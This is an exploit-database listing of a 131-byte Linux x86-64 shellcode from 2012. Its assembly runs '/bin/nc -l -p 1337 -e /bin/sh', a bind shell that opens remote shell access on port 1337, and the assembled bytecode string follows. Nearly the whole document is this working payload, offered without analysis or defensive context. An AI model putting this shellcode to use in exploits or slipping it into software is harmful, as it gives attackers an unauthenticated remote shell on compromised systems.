linux/x86-64 bind-shell with netcat 131 bytes



EKU-ID: 2817 CVE: OSVDB-ID:
Author: Gaussillusion Published: 2012-11-26 Verified: Verified
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; 	{	Title: Shellcode linux/x86-64 bind-shell with netcat	}
 
;	 Author    : Gaussillusion	
;	 Len       : 131 byte	
;	 Language  : asm



BITS 64
xor    	rdx,rdx
mov 	rdi,0x636e2f6e69622fff
shr		rdi,0x08
push 	rdi
mov 	rdi,rsp

mov		rcx,0x68732f6e69622fff 
shr		rcx,0x08
push 	rcx
mov		rcx,rsp 

mov     rbx,0x652dffffffffffff
shr		rbx,0x30
push	rbx
mov		rbx,rsp 

mov		r10,0x37333331ffffffff
shr 	r10,0x20
push 	r10
mov		r10,rsp 

mov		r9,0x702dffffffffffff
shr		r9,0x30
push 	r9
mov		r9,rsp	

mov 	r8,0x6c2dffffffffffff
shr		r8,0x30
push 	r8
mov		r8,rsp   

push	rdx  ;push NULL
push 	rcx  ;push address of 'bin/sh'
push	rbx	 ;push address of '-e'
push	r10	 ;push address of '1337'
push	r9	 ;push address of '-pì
push	r8	 ;push address of '-l'
push 	rdi  ;push address of '/bin/nc'

mov    	rsi,rsp
mov    	al,59
syscall

;	_bytecode_start_
;\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63
;\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62 
;\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1
;\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb
;\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33 
;\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\x49\xb9
;\xff\xff\xff\xff\xff\xff\x2d\x70\x49\xc1\xe9\x30\x41
;\x51\x49\x89\xe1\x49\xb8\xff\xff\xff\xff\xff\xff\x2d
;\x6c\x49\xc1\xe8\x30\x41\x50\x49\x89\xe0\x52\x51\x53
;\x41\x52\x41\x51\x41\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05
;	_bytecode_end_